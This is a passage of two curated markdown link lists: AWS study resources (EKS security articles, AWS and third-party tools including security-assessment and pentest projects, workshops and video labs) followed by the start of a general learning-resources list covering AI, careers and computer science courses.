* [Introducing security groups for pods](https://aws.amazon.com/blogs/containers/introducing-security-groups-for-pods/)
* [Installing Calico on Amazon EKS](https://docs.aws.amazon.com/eks/latest/userguide/calico.html)
* [Open Source Calico for Windows Containers on Amazon EKS](https://aws.amazon.com/blogs/containers/open-source-calico-for-windows-containers-on-amazon-eks/)
* [Introducing OIDC identity provider authentication for Amazon EKS](https://aws.amazon.com/blogs/containers/introducing-oidc-identity-provider-authentication-amazon-eks/)
* [Kubernetes RBAC and IAM Integration in Amazon EKS using a Java-based Kubernetes Operator](https://aws.amazon.com/blogs/containers/kubernetes-rbac-and-iam-integration-in-amazon-eks-using-a-java-based-kubernetes-operator/)
* [Installing aws-iam-authenticator](https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html)
* [Managing users or IAM roles for your cluster](https://docs.aws.amazon.com/eks/latest/userguide/add-user-role.html)
* [Why can't I connect to my Amazon EKS cluster?](https://aws.amazon.com/premiumsupport/knowledge-center/eks-cluster-connection/)
* [How do I resolve the "Your current user or role does not have access to Kubernetes objects on this EKS cluster" error in Amazon EKS?](https://aws.amazon.com/premiumsupport/knowledge-center/eks-kubernetes-object-access-error/)
* [Troubleshooting IAM on EKS](https://docs.aws.amazon.com/eks/latest/userguide/troubleshooting_iam.html)
* [Windows Authentication on Amazon EKS Windows pods](https://aws.amazon.com/blogs/containers/windows-authentication-on-amazon-eks-windows-pods/)
* [How to use ACM Private CA for enabling mTLS in AWS App Mesh](https://aws.amazon.com/blogs/security/how-to-use-acm-private-ca-for-enabling-mtls-in-aws-app-mesh/)
* [How to use AWS Secrets & Configuration Provider with your Kubernetes Secrets Store CSI driver](https://aws.amazon.com/blogs/security/how-to-use-aws-secrets-configuration-provider-with-kubernetes-secrets-store-csi-driver/)
* [SkyScanner: Building Highly-Available, Multi-Region Kubernetes Clusters on 100% Amazon EC2 Spot](https://youtu.be/99nNHsbwBpg)
### Arquiteturas de Referência & Tools
* [AWS Quick Starts](https://aws.amazon.com/quickstart/)
* [AWS Solutions](https://aws.amazon.com/solutions/)
* [Serverless Land](https://serverlessland.com/)
* [AWS CloudFormation Templates](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-sample-templates.html)
* [AWS SAM - Serverless Application Repository](https://serverlessrepo.aws.amazon.com/applications)
* [AWS Samples](https://github.com/aws-samples)
* [AWS Cloud Design Patterns](http://en.clouddesignpattern.org/index.php/Main_Page)
* [AWS Pricing Calculator](https://calculator.aws/#/)
* [AWS Simple Monthly Calculator](https://calculator.s3.amazonaws.com/index.html)
* [The Amazon Builders' Library](https://aws.amazon.com/builders-library/)
* [AWS Geek Cloud Diagrams & Notes](https://www.awsgeek.com/)
* [AWS Global Infrastructure Network (3D Map)](https://apps.kaonadn.net/5181491956940800/index.html)
* [Explore AWS Outposts](https://apps.kaonadn.net/4915573462925312/index.html)
* [AWS Digital Training Provider Courses](https://aws.amazon.com/training/digital-training-providers/)
* [AWS re:Invent 2020 – Announcements From the News Blog](https://aws.amazon.com/pt/blogs/aws/aws-reinvent-announcements-2020/)
* [TOOLS] [AWS Cloud Adoption Readiness Tool (CART)](https://cloudreadiness.amazonaws.com/)
* [TOOLS] [Amazon ECR Public Gallery](https://gallery.ecr.aws/)
* [TOOLS] [Try sample applications on Amazon AppStream 2.0](https://aws.amazon.com/appstream2/try-sample-applications/)
* [TOOLS] [AWS Sandbox Accounts for Events](https://github.com/awslabs/sandbox-accounts-for-events)
* [TOOLS] [AWS Support Tools](https://github.com/awslabs/aws-support-tools)
* [TOOLS] [CloudPing](https://www.cloudping.info/)
* [TOOLS] [S3 Transfer Acceleration Speed Comparison Tool](http://s3-accelerate-speedtest.s3-accelerate.amazonaws.com/en/accelerate-speed-comparsion.html)
* [TOOLS] [AWS Global Accelerator - Speed Comparison](https://speedtest.globalaccelerator.aws/#/)
* [TOOLS] [Overlapping CIDRs using AWS Transit Gateway in VPC and NAT Instances](https://github.com/aws-samples/aws-transit-gateway-overlapping-cidrs)
* [TOOLS] [Amazon EC2 Instance Selector](https://github.com/aws/amazon-ec2-instance-selector)
* [TOOLS] [Amazon WorkSpaces - Connection Health Check](https://clients.amazonworkspaces.com/Health.html)
* [TOOLS] [Web Identity Federation Playground](https://web-identity-federation-playground.s3.amazonaws.com/index.html)
* [TOOLS] [Service Control Policy examples](https://github.com/aws-samples/service-control-policy-examples)
* [TOOLS] [AWS IAM Identity Center Sync](https://github.com/aws-samples/aws-iam-identity-center-sync-script)
* [TOOLS] [Amazon Cognito Passwordless Auth](https://github.com/aws-samples/amazon-cognito-passwordless-auth)
* [TOOLS] [AWS Policy Generator](https://awspolicygen.s3.amazonaws.com/policygen.html)
* [TOOLS] [IAM Access Key-Auto rotation](https://github.com/aws-samples/aws-iam-access-key-auto-rotation)
* [TOOLS] [AWS Organizations Alternate Contact Manager](https://github.com/aws-samples/aws-organizations-alternate-contact-manager)
* [TOOLS] [Temporary Elevated Access Tool](https://github.com/aws-samples/aws-iam-temporary-elevated-access-broker)
* [TOOLS] [AWS Elastic Load Balancer Demos](https://exampleloadbalancer.com/)
* [TOOLS] [AWS Health Aware](https://github.com/aws-samples/aws-health-aware)
* [TOOLS] [AWS Deployment Framework](https://github.com/awslabs/aws-deployment-framework)
* [TOOLS] [Trusted Advisor Tools](https://github.com/aws/Trusted-Advisor-Tools)
* [TOOLS] [Trusted Advisor Exposed Keys CloudWatch Event Monitor](https://github.com/aws/Trusted-Advisor-Tools/tree/master/ExposedAccessKeys)
* [TOOLS] [AWS Incident Response Playbook Samples](https://github.com/aws-samples/aws-incident-response-playbooks)
* [TOOLS] [Macie Findings integration with Slack Channel](https://github.com/aws-samples/macie-findings-to-slack)
* [TOOLS] [Git-Secrets](https://github.com/awslabs/git-secrets)
* [TOOLS] [Self-Service Security Assessment tool](https://github.com/awslabs/aws-security-assessment-solution)
* [TOOLS] [AWS CloudSaga - Simulate security events in AWS](https://github.com/awslabs/aws-cloudsaga)
* [TOOLS] [AWS Secure Environment Accelerator](https://github.com/aws-samples/aws-secure-environment-accelerator)
* [TOOLS] [Self-Service Security Assessment Solutions (v2.0)](https://github.com/awslabs/aws-security-assessment-solution)
* [TOOLS] [AWS Security Hub Cross-Account Controls Disabler](https://github.com/aws-samples/aws-security-hub-cross-account-controls-disabler)
* [TOOLS] [Amazon Guardduty Tester](https://github.com/awslabs/amazon-guardduty-tester)
* [TOOLS] [SIEM on Amazon Elasticsearch Service](https://github.com/aws-samples/siem-on-amazon-elasticsearch)
* [TOOLS] [AWS WAF Operations Dashboards](https://github.com/aws-samples/aws-waf-ops-dashboards/blob/main/README_pt.md)
* [TOOLS] [Amazon S3 Find and Forget](https://github.com/awslabs/amazon-s3-find-and-forget)
* [TOOLS] [Multi-Attach EBS volumes across multiple hosts using GFS2](https://github.com/aws-samples/clustered-storage-gfs2)
* [TOOLS] [Data Transfer Hub - S3 Plugin](https://github.com/awslabs/amazon-s3-data-replication-hub-plugin)
* [TOOLS] [AWS Data Replication Hub](https://github.com/awslabs/aws-data-replication-hub)
* [TOOLS] [AWS Data Wrangler](https://github.com/awslabs/aws-data-wrangler)
* [TOOLS] [AWS Dev Fabric for SQL Server](https://github.com/aws-samples/aws-dev-fabric-for-sql-server)
* [TOOLS] [Simple Database Archiving Solution](https://github.com/awslabs/simple-database-archival-solution)
* [TOOLS] [Snapshot Tool for Amazon Aurora](https://github.com/awslabs/aurora-snapshot-tool)
* [TOOLS] [Amazon DynamoDB Encryption Client for Python](https://github.com/aws/aws-dynamodb-encryption-python/)
* [TOOLS] [Registry of Open Data on AWS](https://registry.opendata.aws/)
* [TOOLS] [Karpenter for Kubernetes](https://github.com/awslabs/karpenter)
* [TOOLS] [Bootstrapping clusters with EKS Blueprints](https://aws.amazon.com/blogs/containers/bootstrapping-clusters-with-eks-blueprints/)
* [TOOLS] [Nextcloud Container Deployment on AWS - Serverless](https://github.com/aws-samples/aws-serverless-nextcloud)
* [TOOLS] [AWS SSM Chaos Runner](https://github.com/amzn/awsssmchaosrunner)
* [TOOLS] [AWS Amplify Identity Broker with Cognito](https://github.com/awslabs/aws-amplify-identity-broker)
* [TOOLS] [AWS IAM Authenticator for Kubernetes](https://github.com/kubernetes-sigs/aws-iam-authenticator)
* [TOOLS] [AWS ParallelCluster - HPC for the Cloud](https://github.com/aws/aws-parallelcluster)
* [TOOLS] [Operational Management: Inventory, Patching, and Compliance](https://github.com/aws-samples/aws-management-and-governance-samples/tree/master/AWSSystemsManager/CentralizedPatchManagement)
* [TOOLS] [AWS Automated Inventory (aws-auto-inventory)](https://github.com/aws-samples/aws-auto-inventory)
* [TOOLS] [Awesome CloudFormation](https://github.com/aws-cloudformation/awesome-cloudformation)
* [TOOLS] [AWS CloudFormation Guard](https://github.com/aws-cloudformation/cloudformation-guard)
* [TOOLS] [TaskCat](https://github.com/aws-quickstart/taskcat)
* [TOOLS] [AWS CloudFormation Template Flip](https://github.com/awslabs/aws-cfn-template-flip)
* [TOOLS] [AWS Device Farm Sample App for Android](https://github.com/aws-samples/aws-device-farm-sample-app-for-android)
* [TOOLS] [Amazon CloudFront Secure Static Website](https://github.com/aws-samples/amazon-cloudfront-secure-static-site)
* [TOOLS] [SES Event Processing](https://github.com/aws-samples/communication-developer-services-reference-architectures#SES-Event-Processing)
* [TOOLS unofficial] [The Open Guide to Amazon Web Services](https://github.com/open-guides/og-aws)
* [TOOLS unofficial] [JMESPath](https://jmespath.org/)
* [TOOLS unofficial] [JMESPath Terminal](https://github.com/jmespath/jmespath.terminal)
* [TOOLS unofficial] [AWSume: AWS Assume Made Awesome](https://awsu.me/)
* [TOOLS unofficial] [AWS IP Ranges](http://52.24.200.194/)
* [TOOLS unofficial] [Cloudcraft - Create smart AWS diagrams](https://cloudcraft.co/)
* [TOOLS unofficial] [Awesome SNS](https://github.com/ranman/awesome-sns)
* [TOOLS unofficial] [The Grinder](http://grinder.sourceforge.net/)
* [TOOLS unofficial] [Apache JMeter](https://jmeter.apache.org/)
* [TOOLS unofficial] [Kubernetes instance calculator](https://learnk8s.io/kubernetes-instance-calculator)
* [TOOLS unofficial] [Kubecost - Cost Model](https://github.com/kubecost/cost-model)
* [TOOLS unofficial] [kubectl](https://kubernetes.io/docs/tasks/tools/)
* [TOOLS unofficial] [eksctl](https://github.com/weaveworks/eksctl)
* [TOOLS unofficial] [Rancher](https://github.com/rancher/rancher)
* [TOOLS unofficial] [Harbor](https://github.com/goharbor/harbor)
* [TOOLS unofficial] [Docker Samples](https://docs.docker.com/samples/)
* [TOOLS unofficial] [Dockerfile-lint](https://github.com/projectatomic/dockerfile_lint)
* [TOOLS unofficial] [Periodic Table of DevOps](https://digital.ai/periodic-table-of-devops-tools)
* [TOOLS unofficial] [CloudFormation Lint: CFN Nag](https://github.com/stelligent/cfn_nag)
* [TOOLS unofficial] [CloudFormation Lint: CFripper](https://github.com/Skyscanner/cfripper/)
* [TOOLS unofficial] [Checkov - Prisma Cloud](https://github.com/bridgecrewio/checkov)
* [TOOLS unofficial] [OPA - Open Policy Agent](https://www.openpolicyagent.org/)
* [TOOLS unofficial] [IAMSpy - AWS IAM](https://github.com/WithSecureLabs/IAMSpy)
* [TOOLS unofficial] [Principal Mapper (PMapper) - AWS IAM](https://github.com/nccgroup/PMapper)
* [TOOLS unofficial] [AWS SSO Util](https://github.com/benkehoe/aws-sso-util)
* [TOOLS unofficial] [AWS Transfer for SFTP - Azure AD](https://github.com/ldaptive/aws-s3-sftp-azure-IdentityProvider-V2)
* [TOOLS unofficial] [Timber - Logging appender for AWS S3](https://github.com/hone/timber)
* [TOOLS unofficial] [AWS CloudFront CDN Edge Locations](https://www.feitsui.com/en/blog/page/3)
* [TOOLS unofficial] [Lambda Load Testing](https://github.com/krapes/lambdaLoadTesting)
* [TOOLS unofficial] [AWS Lambda Power Tuning](https://github.com/alexcasalboni/aws-lambda-power-tuning)
* [TOOLS unofficial] [Awesome Honeypots](https://github.com/paralax/awesome-honeypots)
* [TOOLS unofficial] [Bees with Machine Guns!](https://github.com/newsapps/beeswithmachineguns)
* [TOOLS unofficial] [Modern Honey Network](https://github.com/threatstream/mhn)
* [TOOLS unofficial] [OWASP ZAP](https://github.com/zaproxy/zaproxy)
* [TOOLS unofficial] [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
* [TOOLS unofficial] [AWS Sec Monitor](https://github.com/tgpadua/aws-sec-monitor)
* [TOOLS unofficial] [Prowler - AWS Security Tool](https://github.com/toniblyx/prowler)
* [TOOLS unofficial] [Rhino Security Labs - Pacu](https://github.com/RhinoSecurityLabs/pacu)
* [TOOLS unofficial] [Rhino Security Labs - CloudGoat](https://github.com/RhinoSecurityLabs/cloudgoat)
* [TOOLS unofficial] [Rhino Security Labs - Cloud Container Attack](https://github.com/RhinoSecurityLabs/ccat)
* [TOOLS unofficial] [Clara anti-malware for S3 buckets](https://github.com/abhinavbom/clara/)
* [TOOLS unofficial] [Cloudsplaining - IAM Security Assessment tool](https://github.com/salesforce/cloudsplaining/)
* [TOOLS unofficial] [CrowdStrike Cloud-AWS](https://github.com/CrowdStrike/Cloud-AWS)
* [TOOLS unofficial] [Lithnet Password Protection for Active Directory (LPP)](https://github.com/lithnet/ad-password-protection)
* [TOOLS unofficial] [Gophish - Open-Source Phishing Framework](https://getgophish.com/)
* [TOOLS unofficial] [aws-cloud-mindmaps](https://github.com/wquiles/aws-cloud-mindmaps)
* [TOOLS unofficial] [Console Recorder for AWS](https://github.com/iann0036/AWSConsoleRecorder)
* [TOOLS unofficial] [Netflix ConsoleMe](https://github.com/Netflix/consoleme)
* [TOOLS unofficial] [Netflix Weep](https://github.com/Netflix/weep)
* [TOOLS unofficial] [Twemproxy (nutcracker)](https://github.com/twitter/twemproxy)
* [TOOLS unofficial] [alterNAT](https://github.com/1debit/alternat/)
* [TOOLS unofficial] [SQL Server Maintenance Solution](https://github.com/olahallengren/sql-server-maintenance-solution)
* [TOOLS unofficial] [MySQL Samples](https://dev.mysql.com/doc/index-other.html)
* [TOOLS unofficial] [Static Demo - 2048](https://github.com/goodrain/static-demo)
* [TOOLS unofficial] [Cost report generator](https://github.com/trackit/aws-cost-report)
* [TOOLS unofficial] [aws-nuke - cleanup AWS Account](https://github.com/rebuy-de/aws-nuke)
* [TOOLS unofficial] [Fido: A PowerShell download script for Windows ISOs](https://github.com/pbatard/Fido)
* [TOOLS unofficial] [Git Repository Sync Action](https://github.com/net-engine/github-repository-sync-action)
### Workshops & Laboratórios
* [LABS] [AWS Qwiklabs](https://amazon.qwiklabs.com)
* [LABS] [AWS Well-Architected Labs](https://wellarchitectedlabs.com)
* [LABS] [VMware Cloud on AWS](https://my.vmware.com/web/vmware/evalcenter?p=vmc-hol-aws-gen-21)
* [LABS] [Break a Monolith Application into Microservices](https://aws.amazon.com/getting-started/hands-on/break-monolith-app-microservices-ecs-docker-ec2/)
* [LABS] [Building CI/CD with Blue/Green and Canary Deployments on EKS using CDK](https://github.com/aws-samples/amazon-eks-cdk-blue-green-cicd)
* [Workshop] [AWS Workshops](https://workshops.aws/)
* [Workshop] [AWSome AWS Workshops](https://awesome-aws-workshops.com/)
* [Workshop] [AWS Well-Architected Labs](https://wellarchitectedlabs.com/)
* [Workshop] [Modelo de Maturidade de Segurança da AWS](https://maturitymodel.security.aws.dev/pt/)
* [Workshop] [AWS Cloud Champion](https://aws.amazon.com/blogs/publicsector/announcing-aws-cloud-champion-gamified-tutorial-working-teaching-engaging-remotely/)
* [Workshop] [Networking Workshop - Transit Gateway and Traffic Mirroring](https://www.networking-workshop.com/#/)
* [Workshop] [Amazon EC2 Spot Instances Workshop](https://ec2spotworkshops.com/)
* [Workshop] [Amazon CloudWatch](https://ako.aws-management.tools/tko372759/en/cw.html)
* [Workshop] [SSM & Config](https://ako.aws-management.tools/tko372759/en/ssm.html)
* [Workshop] [Building Event-Driven Architectures on AWS](https://event-driven-architecture.workshop.aws/)
* [Workshop] [Amazon FSx Workshop](https://github.com/aws-samples/amazon-fsx-workshop)
* [Workshop] [SQL Server Immersion Day](https://sql-immersionday.workshop.aws/)
* [Workshop] [Windows Containers on AWS](https://ms-containers.workshop.aws/en/)
* [Workshop] [Amazon ECS Workshop for AWS Fargate](https://ecsworkshop.com/)
* [Workshop] [Amazon EKS Workshop](https://eksworkshop.com/)
* [Workshop] [Amazon Lightsail Workshop](https://lightsailworkshop.com/)
* [Workshop] [Amazon DynamoDB Labs](https://amazon-dynamodb-labs.com/index.html)
* [Workshop] [Amazon Aurora Labs for MySQL](https://awsauroralabsmy.com/prereqs/environment/)
* [Workshop] [Generate Content with Lambda@Edge](https://content-generation-lambda-edge.workshop.aws/)
* [Workshop] [AWS EMP Workshop](https://aws-emp.workshop.aws/en/)
* [Workshop] [AWS Database Migration Workshop](https://dms-immersionday.workshop.aws)
* [Workshop] [CloudEndure Migration Factory Workshop](https://aws-mf.s3.amazonaws.com/workshop/index.html)
* [Workshop] [CloudEndure Deep Dive - Workshop](http://02h.s3-website.eu-central-1.amazonaws.com/)
* [Workshop] [Disaster Recovery/Recuperação de Desastres na AWS](https://disaster-recovery.workshop.aws/pt)
* [Workshop] [Migration Immersion Day](https://migration-immersionday.workshop.aws/en/)
* [Workshop] [Migration and Modernization Workshop Guide](https://application-migration-with-aws.workshop.aws/)
* [Workshop] [Kynesis Streaming Analytics Workshop](https://streaming-analytics.labgui.de/)
* [Workshop] [Identity: Choose Your Own SAML Adventure](http://federationworkshopreinvent2016.s3-website-us-east-1.amazonaws.com/)
* [Workshop] [AWS Multi-Account Setup](https://workshop-aws-account-setup.fstehle.com/)
* [Workshop] [Landing Zone Workshop](https://lz-workshop.com/)
* [Workshop] [AWS Service Catalog Tools Workshop](https://service-catalog-tools-workshop.com/)
* [Workshop] [AWS Security Workshops](https://awssecworkshops.com/)
* [Workshop] [Security Workshops - Permission Boundaries: How to Truly Delegate Permissions on AWS](https://awssecworkshops.com/builder-sessions/permission-boundary/build/)
* [Workshop] [Security Workshops - Data Protection, Detection, Identity, Threat Detection](https://awssecworkshops.com/workshops/)
* [Workshop] [AWS Protecting Workloads Workshops](http://protecting-workloads.awssecworkshops.com/)
* [Workshop] [Getting Hands on with Amazon GuardDuty](https://hands-on-guardduty.awssecworkshops.com/)
* [Workshop] [Scaling threat detection and response in AWS](https://scaling-threat-detection.awssecworkshops.com/)
* [Workshop] [Integrating security into your container pipeline](https://container-devsecops.awssecworkshops.com/)
* [Workshop] [DevSecOps with Snyk](https://snyk.modernize.awsworkshop.io/)
* [Workshop] [DevSecOps on AWS](https://devsecops.workshop.aws/en/)
* [Workshop] [CI/CD workshop for Amazon ECS](https://cicd-for-ecs.workshop.aws/en/)
* [Workshop] [Gaining operational insights with AIOps using Amazon DevOps Guru](https://aiops-using-devops-guru.workshop.aws/)
* [Workshop] [Windows on AWS](https://winonaws.cloud/)
* [Workshop] [Running Microsoft Workloads on AWS Immersion Day](https://ms-immersionday.workshop.aws/)
* [Workshop] [Amazon RDS for SQL Server Workshop](https://rdssms.workshop.aws/)
* [Workshop] [AWS Cloud Development Kit (CDK) Workshop](https://cdkworkshop.com/)
* [Workshop] [Learn Python On AWS Workshop](https://learn-to-code.workshop.aws/)
* [Workshop unofficial] [Welcome to the flAWS challenge](http://flaws.cloud/)
* [Workshop unofficial] [Welcome to the flAWS 2 challenge](http://flaws2.cloud/)
* [Workshop unofficial] [Play with Docker](https://labs.play-with-docker.com/)
* [Workshop unofficial] [Hello Kubernetes w/ Minikube](https://kubernetes.io/docs/tutorials/hello-minikube/)
* [SLIDES] [Technical Essentials on AWS](https://www.slideshare.net/AmazonWebServices/technical-essentials-training-aws-innovate-ottawa)
* [SLIDES] [AWS Business Essentials Day](https://www.slideshare.net/AmazonWebServices/aws-business-essentials-day-236263685)
* [MATERIAL] [Advanced Architecting on AWS- Online Course Supplement](https://www.aws.training/Details/eLearning?id=56205)
* [EBOOK] [Hands-On AWS Penetration Testing with Kali Linux](https://github.com/PacktPublishing/Hands-On-AWS-Penetration-Testing-with-Kali-Linux)
* [FILES] [Scripts Demo AWS EKS Course](https://github.com/virtmerlin/mglab-share-eks)
* [FILES] [Security Engineering on AWS - script lab 2](https://danidoo.github.io/lab2.html)
* [FILES] [Developing on AWS - Additional Resources](https://hackmd.io/@MwIcLI3tRLiY6ECW-aHV_A/Syn63uSsm)
* [FILES] [Developing on AWS - Solutions for Labs](https://aws-tc-largeobjects.s3.amazonaws.com/AWS-100-DEV/v3.0/fullCodeForAllLabs.html)
* [FILES] [AWSome Days - Additional Resources](http://bit.ly/AWSomeResources)
* [VIDEO-LABS] [AWS Technical Essentials](http://bit.ly/tesslabs)
* [VIDEO-LABS] [AWS Cloud Practitioner Essentials](http://bit.ly/cpelabs)
* [VIDEO-LABS] [AWS Security Essentials](https://bit.ly/secess-labs)
* [VIDEO-LABS] [Well-Architected Best Practices](http://bit.ly/WellArc)
* [VIDEO-LABS] [Architecting on AWS - v6.8](http://bit.ly/arclabs)
* [VIDEO-LABS] [Architecting on AWS - v7.0](http://bit.ly/arclabv7)
* [VIDEO-LABS] [Advanced Architecting on AWS - v2.8](http://bit.ly/aarclabs)
* [VIDEO-LABS] [Advanced Architecting on AWS - v3.0](http://bit.ly/aarclabv3)
* [VIDEO-LABS] [Cloud Financial Management for Builders](http://bit.ly/Tc-cfmb)
* [VIDEO-LABS] [Systems Operations on AWS - v3.3](http://bit.ly/opslabs)
* [VIDEO-LABS] [Systems Operations on AWS - v4.0](http://bit.ly/opslab4)
* [VIDEO-LABS] [Developing on AWS](http://bit.ly/Devlabs)
* [VIDEO-LABS] [Developing on AWS - v4.0](http://bit.ly/devlab4)
* [VIDEO-LABS] [Advanced Developing on AWS](http://bit.ly/advdevlab)
* [VIDEO-LABS] [DevOps Engineering on AWS](http://bit.ly/tc-devop)
* [VIDEO-LABS] [Security Engineering on AWS](http://bit.ly/seceng-labs)
* [VIDEO-LABS] [Planning and Designing Database on AWS](http://bit.ly/PD_DBLAB)
* [VIDEO-LABS] [Big Data on AWS](http://bit.ly/tc-biglabs)
* [VIDEO-LABS] [Building Data Analytics Solutions Using Amazon Redshift](http://bit.ly/bd-redshift)
* [VIDEO-LABS] [Building Data Lake on AWS](http://bit.ly/lakelabs)
* [VIDEO-LABS] [Building Batch Data Analytics Solutions for AWS](http://bit.ly/bd-batch)
* [VIDEO-LABS] [Running Containers on Amazon EKS](http://bit.ly/awstc-ekslabs)
* [VIDEO-LABS] [Deep Learning on AWS](http://bit.ly/deeplabs)
* [VIDEO-LABS] [Moving to AWS Serverless](http://bit.ly/TC-MTAS)
* [VIDEO-LABS] [Migrating to AWS - v2.0](http://bit.ly/tc-migration)
* [VIDEO-LABS] [IoT in Scale: IoT Solution using AWS Services](http://bit.ly/iotscale)
**[DISCLAIMER]** Links e materiais disponibilizados como conteúdo adicional para os estudos nos treinamentos da AWS. As informações aqui inseridas são mantidas por mim mesmo, e não expressam nenhuma informação oficial por parte da AWS; mesmo que em sua maioria sejam artigos e _blog posts_ oficiais da **Amazon Web Services**.
|
[Go back to the main page](../README.md)
# Websites
### Table of contents
- [Starting point](#starting-point)
- [Artificial intelligence](#artificial-intelligence)
- [Machine learning](#machine-learning)
- [API documentation](#api-documentation)
- [Books](#books)
- [Career and growth](#career-and-growth)
- [Advice](#advice)
- [More learning at the university level](#more-learning-at-the-university-level)
- [Reaching the next level](#reaching-the-next-level)
- [Resume building](#resume-building)
- [Thinking tools](#thinking-tools)
- [Computer science](#computer-science)
- [Algorithms](#algorithms)
- [Visualizations](#visualizations)
- [Articles](#articles)
- [Computational complexity](#computational-complexity)
- [Courses and videos](#courses-and-videos)
- [Free (e)books](#free-ebooks)
- [Data science](#data-science)
- [Jupyter](#jupyter)
- [Pandas](#pandas)
- [Working with data (Pandas, NumPy, Matplotlib, IPython, Scikit-Learn...)](#working-with-data-pandas-numpy-matplotlib-ipython-scikit-learn)
- [Drawing](#drawing)
- [Free e-books and video courses](#free-e-books-and-video-courses)
- [Hacking](#hacking)
- [LaTeX](#latex)
- [Linux & Unix](#linux--unix)
- [Mathematics](#mathematics)
- [Beginner topics](#beginner-topics)
- [Calculus](#calculus)
- [Derivatives](#derivatives)
- [Discrete mathematics](#discrete-mathematics)
- [Algorithms](#algorithms-1)
- [Hopcroft-Karp](#hopcroft-karp)
- [Binomial theorem](#binomial-theorem)
- [Graph theory](#graph-theory)
- [Rules of inference - logic proofs](#rules-of-inference---logic-proofs)
- [Encryption](#encryption)
- [Limits](#limits)
- [Linear Algebra](#linear-algebra)
- [Machine learning](#machine-learning-1)
- [Modular arithmetic](#modular-arithmetic)
- [Number bases](#number-bases)
- [Online tools](#online-tools)
- [Statistics](#statistics)
- [Trigonometry](#trigonometry)
- [Music (ideal for programming)](#music-ideal-for-programming)
- [News](#news)
- [Online services](#online-services)
- [Clean your inbox](#clean-your-inbox)
- [Diff checker (compare different files)](#diff-checker-compare-different-files)
- [Disposable/temporary emails](#disposabletemporary-emails)
- [File sharing & storage](#file-sharing--storage)
- [Gantt charts](#gantt-charts)
- [Image hosting](#image-hosting)
- [Manage your privacy](#manage-your-privacy)
- [Receive SMS](#receive-sms)
- [Open source](#open-source)
- [Programming](#programming)
- [App monitoring](#app-monitoring)
- [Basics](#basics)
- [Books](#books-1)
- [Coding challenges](#coding-challenges)
- [Documentation](#documentation)
- [Interview preparation](#interview-preparation)
- [Books](#books-2)
- [Facebook](#facebook)
- [Google](#google)
- [Games](#games)
- [CSS](#css)
- [JavaScript](#javascript)
- [Projects and ideas](#projects-and-ideas)
- [Python](#python)
- [Security](#security)
- [Service workers](#service-workers)
- [Git / GitHub](#git--github)
- [iOS](#ios)
- [Swift](#swift)
- [Java](#java)
- [JavaScript](#javascript-1)
- [Kotlin](#kotlin)
- [Markdown](#markdown)
- [Python](#python-1)
- [Hosting](#hosting)
- [Questions and answers](#questions-and-answers)
- [Regular expressions (regex)](#regular-expressions-regex)
- [SQL](#sql)
- [TypeScript](#typescript)
- [Startups](#startups)
- [Technology](#technology)
- [Terminal / Command-line interface](#terminal--command-line-interface)
- [Typing faster](#typing-faster)
- [Variety](#variety)
- [Web](#web)
- [Buying a domain name](#buying-a-domain-name)
- [Cloud Computing](#cloud-computing)
- [Information on websites](#information-on-websites)
- [Website annotation](#website-annotation)
- [Website testing](#website-testing)
- [Web development](#web-development)
- [Learning](#learning)
- [Tools](#tools)
---
<br />
## Starting point
- [A-to-Z-Resources-for-Students](https://github.com/dipakkr/A-to-Z-Resources-for-Students) - _"Curated list of resources for college students."_
- [Awesome lists about all kinds of interesting topics](https://github.com/sindresorhus/awesome#readme)
---
<br />
## Artificial intelligence
- [Introduction to Robotics - CS223A, by Oussama Khatib](https://see.stanford.edu/Course/CS223A) - Stanford Engineering Everywhere
### Machine learning
- [Machine Learning - CS229, by Andrew Ng](https://see.stanford.edu/Course/CS229) - Stanford Engineering Everywhere
- [Machine Learning Crash Course with TensorFlow APIs](https://developers.google.com/machine-learning/crash-course) - Google. - _"Google's fast-paced, practical introduction to machine learning."_
- [Machine Learning: 2014-2015](https://www.cs.ox.ac.uk/people/nando.defreitas/machinelearning) - University of Oxford
- [ML Cheatsheet](https://ml-cheatsheet.readthedocs.io/en/latest/calculus.html) - _"Brief visual explanations of machine learning concepts with diagrams, code examples and links to resources for learning more."_
## API documentation
- [DevDocs](https://devdocs.io/) - API Documentation Browser. _"DevDocs combines multiple developer documentations in a clean and organized web UI with instant search, offline support, mobile version, dark theme, keyboard shortcuts, and more."_
## Books
- Have a look at [../books/README.md](../books/README.md): quite a few of those books are available for free online and pretty much all of them can be bought physically and/or digitally.
## Career and growth
### Advice
- [TopResume](https://www.topresume.com/career-advice). _"Job-search tips and expert advice to help you get ahead in your career."_
### More learning at the university level
[Jumpstart University](https://www.open.edu/openlearn/education-development/jumpstart-university/) - _"Free Learning from
The Open University."_
### Reaching the next level
- [Senior Mindset series](https://seniormindset.com/) - _"Get a series of curated essays on the mindset of a senior software engineer. What it takes to get there, what should you do when you're there, how to change the way you think."_
- [Stories of reaching Staff-plus engineering roles - StaffEng](https://staffeng.com/) - _"The StaffEng project aims to collect the stories of folks who are operating in Staff, Principal or Distinguished Engineer roles."_
### Resume building
- [Kickresume](https://www.kickresume.com) - _" We help students take first steps towards a successful career. Kickresume Premium is now free for all students. Verify your student status with ISIC, ITIC or EURO>26."_
### Thinking tools
- [Untools](https://untools.co) - _"Collection of thinking tools and frameworks to help you solve problems, make decisions and understand systems."_
## Computer science
- [Computer Science 162, 001 - Fall 2013](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iDrt_oPWfQ4-fjHm2KSSOPq) - UC Berkeley
- [Computer Science 188, 001 - Spring 2015](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iA4YSaTMfF_K_wvrKAY2H8u) - UC Berkeley
- [Computer Science 194, 024 - Spring 2013](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iB_5Q8G8kW5idSwNmXypmQE) - UC Berkeley
- [Computer Science 61B, 001 - Fall 2014](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iDVox3OKFhF4LxMHqpi2GS2) - UC Berkeley
- [Four Semesters of Computer Science in Six Hours (part 2)](https://btholt.github.io/four-semesters-of-cs-part-two/) - Brian Holt.
- [Four Semesters of Computer Science in Six Hours](https://btholt.github.io/four-semesters-of-cs/) - Brian Holt.
- [MIT OpenCourseWare - Electrical Engineering and Computer Science](https://ocw.mit.edu/courses/#electrical-engineering-and-computer-science)
- [Open Source Society University](https://github.com/ossu/computer-science) - _"The OSSU curriculum is a complete education in computer science using online materials."_
- [Stanford Engineering Everywhere (SEE)](https://see.stanford.edu/)
